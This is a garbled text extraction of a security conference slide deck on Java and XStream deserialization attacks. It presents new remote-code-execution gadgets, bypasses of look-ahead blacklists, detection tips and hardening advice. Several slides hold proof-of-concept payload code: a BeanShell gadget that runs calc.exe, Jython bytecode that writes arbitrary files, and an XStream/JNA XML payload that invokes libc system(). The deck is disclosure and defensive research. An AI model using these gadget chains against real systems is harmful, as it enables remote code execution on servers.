Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently...

41
Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer @cschneider4711 Alvaro Muñoz Principal Security Researcher HPE Security For@fy @pwntester

Transcript of Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently...

Page 1: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

SerialKiller:SilentlyPwning

YourJavaEndpoints

Chris;anSchneider

WhitehatHacker&DeveloperFreelancer@cschneider4711

AlvaroMuñoz

PrincipalSecurityResearcherHPESecurityFor@fy@pwntester

Page 2: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

Whythistalk?

Javadeserializa@onaEackshavebeenknownforyears

Rela@velynewgadgetinApacheCommons-Collec/onsmadethetopicalsoavailable

tomainstream(dev)audiencein2015

Someinaccurateadvicetoprotectyourapplica@onsismakingtherounds

Inthistalkwe’lldemonstratetheweaknessofthisadviceby…

…showingyounewRCEgadgets

…showingyoubypasses

We’llgiveadvicehowtospotthisvulnerabilityanditsgadgetsduring…

…codereviews(i.e.showingyouwhattolookfor)

…pentests(i.e.howtogenericallytestforsuchissues)

2

Page 3: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

StandingontheShoulderofGiants…

3

SpringAOP(byWouterCoekaerts,publicexploit:@pwntesterin2011)

AMFDoS(byWouterCoekaertsin2011)

Commons-fileupload(byArunBabuNeelicaEuin2013)

Groovy(bycpnrodzc7/@frohoffin2015)

Commons-Collec;ons(by@frohoffand@geblin2015)

SpringBeans(by@frohoffand@geblin2015)

SerialDoS(byWouterCoekaertsin2015)

SpringTx(by@zerothinkingin2016)

JDK7(by@frohoffin2016)

Probablymoreweareforge7ngandmoretocomeinfewminutes…

Page 4: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

WhatisJavaSerializa;onagain?

Takingasnapshotofanobjectgraphasabytestreamthatcanbe

usedtoreconstructtheobjectgraphtoitsoriginalstate

Onlyobjectdataisserialized,notthecode

ThecodesitsontheClassPathofthe(de)serializingend

Developerscancustomizethisserializa@on/deserializa@onprocess

Individualobject/[email protected]()/.writeReplace()/.writeExternal()methods

Individualobject/[email protected]()/.readResolve()/.readExternal()methods(andmore)

4

Page 5: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

AWackSurface

UsagesofJavaserializa@oninprotocols/formats/products:

RMI(RemoteMethodInvoca@on)

JMX(JavaManagementExtension)

JMS(JavaMessagingSystem)

SpringServiceInvokers

HTTP,JMS,RMI,etc.

5

Android

AMF(Ac@onMessageFormat)

JSFViewState

WebLogicT3

Page 6: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

Serializable Class

JavaDeserializa;oninaNutshell

6

6. Restore object member fields• readObject(ObjectInputStream) • readObjectNoData()

7. Eventually replace restored object• readResolve()

8. Optionally validate object• validateObject()

9. Cast deserialized object to expected type10.Use deserialized object

ObjectInputStream Application Code Garbage Collector

11.Call finalize() on GC

1. Get bytes2. Initialize ObjectInputStream3. Read object from stream

• ois.readObject()4. Resolve classes of stream resolveClass()

5. Deserialize objects

Page 7: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

TriggeringExecu;onvia"MagicMethods"

7

Serializable Class

6. Restore object member fields• readObject(ObjectInputStream) • readObjectNoData()

7. Eventually replace restored object• readResolve()

8. Optionally validate object• validateObject()

9. Cast deserialized object to expected type10.Use deserialized object

ObjectInputStream Application Code Garbage Collector

11.Call finalize() on GC

1. Get bytes2. Initialize ObjectInputStream3. Read object from stream

• ois.readObject()4. Resolve classes of stream resolveClass()

5. Deserialize objects

Page 8: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

Exploi;ng"MagicMethods"

Abusing"magicmethods"ofgadgetswhichhavedangerouscode:AEackercontrolsmemberfields’valuesofserializedobject

[email protected]()/.readResolve()isinvoked

Implementa@onofthismethodingadgetclassusesaWacker-controlledfields

Asidefromtheclassiconesalsolesser-known"magicmethods"help:

.validateObject()aspartofvalida@on(whichdoesnotpreventaEacks)

.readObjectNoData()upondeserializa@onconflicts

.finalize()aspartofGC(evenajererrors)

withdeferredexecu@onbypassingad-hocSecurityManagersatdeserializa@on

WorksalsoforExternalizable’s.readExternal()

8

Page 9: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

Exploi;ng"MagicMethods"

Butwhatifthereareno "MagicMethods"onthetarget’sClassPath

thathave"dangerouscode"fortheaEacker

toinfluence?

9

Page 10: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

ProxywithInvoca;onHandlerasCatalyzer

10

Class

field1 field2

… method1 method2

Interface

method1 method2

Invocation Handler

Custom code

method2

Proxy

Page 11: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

AEackerstepsuponserializa@on:

AEackercontrolsmemberfieldsofIHgadget,whichhasdangerouscodeIH(aspartofDynamicProxy)getsserializedbyaEackerasfieldonwhichaninnocuous

methodiscalledfrom"magicmethod"(ofclasstodeserialize)

Applica@onstepsupondeserializa@on:

"MagicMethod"of"TriggerGadget"callsinnocuousmethodonanaWackercontrolledfield

Thiscallisinterceptedbyproxy(setbyaEackerasthisfield)anddispatchedtoIH

OtherIH-liketypesexistasidefromjava.lang.reflect.Invoca@onHandler

[email protected]

org.jboss.weld.bean.proxy.MethodHandler

Exploi;ngInvoca;onHandler(IH)Gadgets

11

Page 12: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

NewRCEGadgetinBeanShell

(CVE-2016-2510)

bsh.XThis$HandlerSerializableInvoca@onHandler

Uponfunc@onintercep@oncustomBeanShellcodewillbecalled

AlmostanyJavacodecanbeincludedinthepayload

Inordertoinvokethepayloadatriggergadgetisneeded

12

Page 13: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

NewRCEGadgetinBeanShell

(CVE-2016-2510)

13

1 String payload = "compare(Object foo, Object bar) {" + 2 " new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start();return 1;" + 3 "}"; 4 5 // Create Interpreter 6 Interpreter i = new Interpreter(); 7 i.eval(payload); 8 9 // Create Proxy/InvocationHandler 10 XThis xt = new XThis(i.getNameSpace(), i); 11 InvocationHandler handler = (InvocationHandler) getField(xt.getClass(), "invocationHandler").get(xt); 12 Comparator comparator = (Comparator) Proxy.newProxyInstance(classLoader, new Class<?>[]{Comparator.class}, handler); 13 14 // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) 15 final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator); 16 Object[] queue = new Object[] {1,1}; 17 setFieldValue(priorityQueue, "queue", queue); 18 setFieldValue(priorityQueue, "size", 2);

Page 14: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

NewRCEGadgetinJython(CVEpending)

org.python.core.PyFunctionSerializableInvoca@onHandler

Uponfunc@onintercep@oncustompythonbytecodewillbecalled

Onlypythonbuilt-infunc@onscanbecalled

Impor@ngmodulesisnotpossible:noos.system()sorry:(S@llwecanreadandwritearbitraryfiles(cancauseRCEinwebapp)

Inordertoinvokethepayloadatriggergadgetisneeded

14

Page 15: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

NewRCEGadgetinJython(CVEpending)

15

1 // Python bytecode to write a file on disk 2 String code = 3 "740000" + // 0 LOAD_GLOBAL 0 (open) 4 "640100" + // 3 LOAD_CONST 1 (<PATH>) 5 "640200" + // 6 LOAD_CONST 2 ('w') 6 "830200" + // 9 CALL_FUNCTION 2 7 "690100" + // 12 LOAD_ATTR 1 (write) 8 "640300" + // 15 LOAD_CONST 3 (<CONTENT>) 9 "830100" + // 18 CALL_FUNCTION 1 10 "01" + // 21 POP_TOP 11 "640000" + // 22 LOAD_CONST 12 "53"; // 25 RETURN_VALUE 13 14 // Helping cons and names 15 PyObject[] consts = new PyObject[]{new PyString(""), new PyString(path), new PyString("w"), new PyString(content)}; 16 String[] names = new String[]{"open", “write"}; 17 18 PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{}, "noname", "<module>", 0, ""); 19 setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); 20 PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);

Page 16: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

NewRCEGadgets

MoreofourreportedRCEgadgetss;llbeingfixed

Staytuned!

TwiEer:@pwntester&@cschneider4711

Blog:hEps://hp.com/go/hpsrblog

16

ZDI ID Affected Vendor(s) Severity (CVSS)

ZDI-CAN-3511 Oracle 7.5

ZDI-CAN-3510 Oracle 7.5

ZDI-CAN-3497 Oracle 7.5

ZDI-CAN-3588 Oracle 7.5

ZDI-CAN-3592 Oracle 7.5

Page 17: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

Exis;ngMi;ga;onAdvice

17

SimplyremovegadgetclassesfromClassPath

Blacklist&WhitelistbasedcheckatObjectInputStream.resolveClass

Differentimplementa@onsofthis"Lookahead"-Deserializa@onexist:

UseofObjectInputStreamsubclassinapplica@on’sdeserializa@oncode

Agent-based(AOP-like)hookingofcallstoObjectInputStream.resolveClass()

AdhocSecurityManagersandboxesduringdeserializa@on

Page 18: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

Exis;ngMi;ga;onAdvice

18

SimplyremovegadgetclassesfromClassPath

Notfeasiblegivenmoreandmoregadgetsbecomingavailable

Blacklist&WhitelistbasedcheckatObjectInputStream.resolveClass

Differentimplementa@onsofthis"Lookahead"-Deserializa@onexist:

UseofObjectInputStreamsubclassinapplica@on’sdeserializa@oncode

Agent-based(AOP-like)hookingofcallstoObjectInputStream.resolveClass()

AdhocSecurityManagersandboxesduringdeserializa@on

Page 19: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

Exis;ngMi;ga;onAdvice

19

SimplyremovegadgetclassesfromClassPath

Notfeasiblegivenmoreandmoregadgetsbecomingavailable

Blacklist&WhitelistbasedcheckatObjectInputStream.resolveClass

Differentimplementa@onsofthis"Lookahead"-Deserializa@onexist:

UseofObjectInputStreamsubclassinapplica@on’sdeserializa@oncode

Agent-based(AOP-like)hookingofcallstoObjectInputStream.resolveClass()

Blacklists:Bypassesmightexist(inyourdependenciesoryourowncode)

Whitelists:Difficulttogetright&DoSthoughJDKstandardclassespossible

AdhocSecurityManagersandboxesduringdeserializa@on

Page 20: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

Exis;ngMi;ga;onAdvice

20

SimplyremovegadgetclassesfromClassPath

Notfeasiblegivenmoreandmoregadgetsbecomingavailable

Blacklist&WhitelistbasedcheckatObjectInputStream.resolveClass

Differentimplementa@onsofthis"Lookahead"-Deserializa@onexist:

UseofObjectInputStreamsubclassinapplica@on’sdeserializa@oncode

Agent-based(AOP-like)hookingofcallstoObjectInputStream.resolveClass()

Blacklists:Bypassesmightexist(inyourdependenciesoryourowncode)

Whitelists:Difficulttogetright&DoSthoughJDKstandardclassespossible

AdhocSecurityManagersandboxesduringdeserializa@on

Execu@oncanbedeferreda]erdeserializa@on:we’llshowlaterhow…

Page 21: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

Howdidvendorshandlethisrecently?

Vendor / Product Type of Protection

Atlassian Bamboo Removed Usage of Serialization

Apache ActiveMQ LAOIS Whitelist

Apache Batchee LAOIS Blacklist + optional Whitelist

Apache JCS LAOIS Blacklist + optional Whitelist

Apache openjpa LAOIS Blacklist + optional Whitelist

Apache Owb LAOIS Blacklist + optional Whitelist

Apache TomEE LAOIS Blacklist + optional Whitelist

********** (still to be fixed) LAOIS Blacklist

21

Page 22: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

BypassingLookAheadBlacklists

Newgadgettypetobypassad-hoclook-aheadObjectInputStreamblacklistprotec@ons:

Canwefindaclasslike:

Duringdeserializa@onoftheobjectgraph,anewimmaculateunprotected

ObjectInputStreamwillbeinstan@ated

AEackercanprovideanyarbitrarybytesforunsafedeserializa@on

BypassdoesnotworkforcaseswhereObjectInputStreamisinstrumented

22

1 public class NestedProblems implements Serializable {2 byte[] bytes … ;3 …4 private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {5 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));6 ois.readObject();7 }8 }

Page 23: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

Isthisforrealoristhisjustfantasy?

Applica@onServers:

IBMWebSphere:13

OracleWebLogic:3

ApacheTomEE:3

23

Currentlywefoundmanybypassgadgets:

JRE:3

ThirdPartyLibraries:

Apachelibraries:6

Springlibraries:1

Otherpopularlibraries:2

Page 24: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

Example(hasbeenfixed)

org.apache.commons.scxml2.env.groovy.GroovyContext

24

1 @SuppressWarnings("unchecked") 2 private void readObject(ObjectInputStream in) throws IOException,ClassNotFoundException { 3 this.scriptBaseClass = (String)in.readObject(); 4 this.evaluator = (GroovyEvaluator)in.readObject(); 5 this.binding = (GroovyContextBinding)in.readObject(); 6 byte[] bytes = (byte[])in.readObject(); 7 if (evaluator != null) { 8 this.vars = (Map<String, Object>) 9 new ObjectInputStream(new ByteArrayInputStream(bytes)) { 10 protected Class resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException { 11 return Class.forName(osc.getName(), true, evaluator.getGroovyClassLoader()); 12 } 13 }.readObject(); 14 } 15 else { 16 this.vars = (Map<String, Object>)new ObjectInputStream(new ByteArrayInputStream(bytes)).readObject(); 17 } 18 }

Page 25: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

Nowwithhomedelivery

javax.media.jai.remote.SerializableRenderedImage

finalize() > dispose() > closeClient()

Bypassesad-hocSecurityManagers

25

1 private void closeClient() { 2 3 // Connect to the data server. 4 Socket socket = connectToServer(); 5 6 // Get the socket output stream and wrap an object 7 // output stream around it. 8 OutputStream out = null; 9 ObjectOutputStream objectOut = null; 10 ObjectInputStream objectIn = null; 11 try { 12 out = socket.getOutputStream(); 13 objectOut = new ObjectOutputStream(out); 14 objectIn = new ObjectInputStream(socket.getInputStream()); 15 } catch (IOException e) { ... } 16 ...

18 try { 19 objectIn.readObject(); 20 } catch (IOException e) { 21 sendExceptionToListener(JaiI18N.getString( 22 "SerializableRenderedImage8"), 23 new ImagingException(JaiI18N.getString( 24 "SerializableRenderedImage8"), e)); 25 } catch (ClassNotFoundException cnfe) { 26 sendExceptionToListener(JaiI18N.getString( 27 "SerializableRenderedImage9"), 28 new ImagingException(JaiI18N.getString( 29 "SerializableRenderedImage9"), cnfe)); 30 } 31 ... 32 }

Page 26: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

Demoofbypass

26

Let’s take a look at the live demo…

Page 27: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

IsitjustJavaSerializa;on?

XStreamislikeJavaSerializa@ononsteroids

Candeserializenon-serializableclasses:—>manymoregadgetsavailable

Reportedbackin2013:CVE-2013-7285byAlvaroMunoz(@pwntester)&AbrahamKang(@KangAbraham)

XStreamimplementedablacklist/whitelistprotec@onscheme(bydefaultonlyblockingjava.beans.EventHandler)

Unfortunatelydevsarenotfullyawareands@lluseunprotectedoronlyblacklistedXStreaminstances

e.g.:CVE-2015-5254inApacheAc;veMQandCVE-2015-5344inApacheCamel

bothby@pwntester,@cschneider4711,@maEhias_kaiser

Wefoundmanynewgadgetsduringresearch

Can’tbefixedbymakingthemnon-serializable.

OnlyfixisapplyingawhitelisttoXStreaminstance.

…plusmostoftheonesavailableforJavaserializa@on(e.g.:Commons-Collec@ons,Spring,…)

27

Page 28: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

Exploi;ngJNA

28

1 <sorted-set> 2 <string>calc.exe</string> 3 <dynamic-proxy> 4 <interface>java.lang.Comparable</interface> 5 <handler class="com.sun.jna.CallbackReference$NativeFunctionHandler"> 6 <options /> 7 <function class="com.sun.jna.Function"> 8 <peer>140735672090131</peer> <!-- depends on target --> 9 <library> 10 <libraryName>c</libraryName> 11 <libraryPath>libc.dylib</libraryPath> 12 </library> 13 <functionName>system</functionName> 14 </function> 15 </handler> 16 </dynamic-proxy> 17 </sorted-set>

Page 29: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

XStream,canyourunreadObject()?

XStreamworkswithJavaserializa@onsothatifaclasscontainsa

readObject()orreadResolve()method,itwillcallthemaspartof

thedeserializa@on.

XStreamturnsanyXStreamdeserializa@onendpointintoastandard

Javaone

CanwebypassXStreampermissionsystembyrunningcodein

readObject(),readResolve(),finalize(),…?

AnyLookAheadbypassgadgetwillalsobevalidtobypassXStream

blacklist

29

Page 30: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

FindingVulnerabili;es&GadgetsintheCode

SASTTips

Page 31: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

WhoShouldCheckforWhat?

1. Checkyourendpointsforthoseaccep;ng(untrusted)serializeddata

2. Checkyourcodeforpoten;algadgets,whichcouldbeusedin

deserializa@onaEackswhereyourlibrary/frameworkisused

AlsotheClassPathoftheapp-servercanhostexploitablegadgets

Problem:"GadgetSpace"istoobig

Typicalapp-serverbaseddeploymentshavehundredsofJARsinClassPath

SASTtoolsmighthelpforbothchecks…

SuchasHPESecurityFor@fyortheOpenSourceFindSecBugs

31

Page 32: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

FindingDirectDeserializa;onEndpoints

Findcalls(withinyourcodeandyourdependencies’code)to:

ObjectInputStream.readObject()

ObjectInputStream.readUnshared()

WhereInputStreamisaEackercontrolled.Forexample:

…andObjectInputStreamisorextendsjava.io.ObjectInputStream

…butisnotasafeone(eg:Commons-ioValida@ngObjectInputStream)

32

1 InputStream is = request.getInputStream(); 2 ObjectInputStream ois = new ObjectInputStream(is); 3 ois.readObject();

Page 33: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

High-LevelGadgetCategories

33

Gadgetisaclass(withintarget’sClassPath)useableupondeserializa@ontofacilitatean

aEack,whichojenconsistsofmul@plegadgetschainedtogetherasa"GadgetChain".

TriggerGadgetisaclasswitha"MagicMethod"triggeredduringdeserializa@onac@ng

uponproxy-ablefields,whichareaEackercontrolled.TriggerGadgetsini@atetheexecu@on.

BypassGadgetisaclasswith(preferably)a"MagicMethod"triggeredduring

deserializa@onwhichleadstoa"NestedDeserializa@on"withanunprotectedOISof

aEacker-controllablebytes.

HelperGadgetisaclasswithgluestogetherotherbondsofagadgetchain.

AbuseGadgetisaclasswithamethodimplemen@ngdangerousfunc@onality,aEackers

wanttoexecute.

NeedforgadgetserializabilityisliEedwhentechniqueslikeXStreamareusedbythetarget.

Page 34: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

FindingGadgetsforFun&Profit

34

Lookforinteres;ngmethodcalls…

java.lang.reflect.Method.invoke()

java.io.File()

java.io.ObjectInputStream()

java.net.URLClassLoader()

java.net.Socket()

java.net.URL()

javax.naming.Context.lookup()

reachedby:

java.io.Externalizable.readExternal()

java.io.Serializable.readObject()java.io.Serializable.readObjectNoData()java.io.Serializable.readResolve()[email protected]()

[email protected]()

[email protected]()

org.jboss.weld.bean.proxy.MethodHandler.invoke()

java.lang.Object.finalize()

<clinit>(sta/cini/alizer).toString(),.hashCode()and.equals()

Sinks Sources

Page 35: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

WhattoCheckDuringPentests?

DASTTips

Page 36: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

PassiveDeserializa;onEndpointDetec;on

36

Requests(oranynetworktraffic)carryingserializedJavaobjects:

Easytospotduetomagicbytesatthebeginning:0xAC 0xED …

Someweb-appsmightuseBase64tostoreserializeddatainCookies,etc.:rO0 …

Beawarethatcompressioncould’vebeenappliedbeforeBase64

SeveralBurp-Pluginshavebeencreatedrecentlytopassivelyscan forJavaserializa@ondataaspartofwebtrafficanalysis

Alsotestfornon-webrelated(binary)trafficwithnetworkprotocol

analyzers

Page 37: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

Ac;veVulnerabilityScanning

37

SomeBurp-Pluginsac;velytrytoexploitsubsetofexis@nggadgets

EitherblindthroughOOBcommunica@on("superserial-ac@ve")

Forapplica@onsrunningonJBoss

Or@me-basedblindviadelay("JavaDeserializa@onScanner")

ForgadgetsinApacheCommonsCollec@ons3&4

AndgadgetsinSpring4

Recommenda@on:Adjustac@vescanningpayloadstonotrelyon

specificgadgets-beEeruseagenericdelayintroduc@on

Suchas"SerialDoS"(byWouterCoekaerts),whichisonlyHashSetbased

Page 38: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

HardeningAdvice

Page 39: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

HowtoHardenYourApplica;ons?

DONOTDESERIALIZEUNTRUSTEDDATA!!

Whenarchitecturepermitsit:

Useotherformatsinsteadofserializedobjects:JSON,XML,etc.

ButbeawareofXML-baseddeserializa@onaEacksviaXStream,XmlDecoder,etc.

Assecond-bestop@on:

Usedefensivedeserializa@onwithlook-aheadOISwithastrictwhitelist

Don’trelyongadget-blacklis@ngalone!

YoucanbuildthewhitelistwithOpenSourceagentSWAT(SerialWhitelistApplica@onTrainer)

Preferanagent-basedinstrumen@ngofObjectInputStreamtowardsLAOIS

Scanyourownwhitelistedcodeforpoten@algadgets

S@llbeawareofDoSscenarios

IfpossibleuseaSecurityManagerasdefense-in-depth

39

Page 40: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

ApplyWhatYouHaveLearnedToday

Nextweekyoushould:

Iden@fyyourcri@calapplica@ons’exposuretountrusteddatathatgetsdeserialised

SASTmighthelphereifcodebaseisbig

Foralreadyreportedvulnerableproducts,ensuretoapplypatches

Configureapplica@onswithwhitelistswherepossible

Inthefirstthreemonthsfollowingthispresenta@onyoushould:

Ifpossibleswitchthedeserializa@ontootherformats(JSON,etc.),or

Usedefensivedeserializa@onwithastrictwhitelist

Withinsixmonthsyoushould:

UseDASTtoac@velyscanfordeserializa@onvulnerabili@esaspartofyourprocess

ApplySASTtechniquestosearchforaEacker-helpinggadgets

Extendthisanalysisalsotonon-cri@calapplica@ons

40

Page 41: Whitehat Hacker & Developer Serial Killer: Silently Pwning ...€¦ · Serial Killer: Silently Pwning Your Java Endpoints Chris;an Schneider Whitehat Hacker & Developer Freelancer

Q&A/ThankYou!

Chris;anSchneider

@cschneider4711

mail@[email protected]

AlvaroMuñoz

@pwntester

[email protected]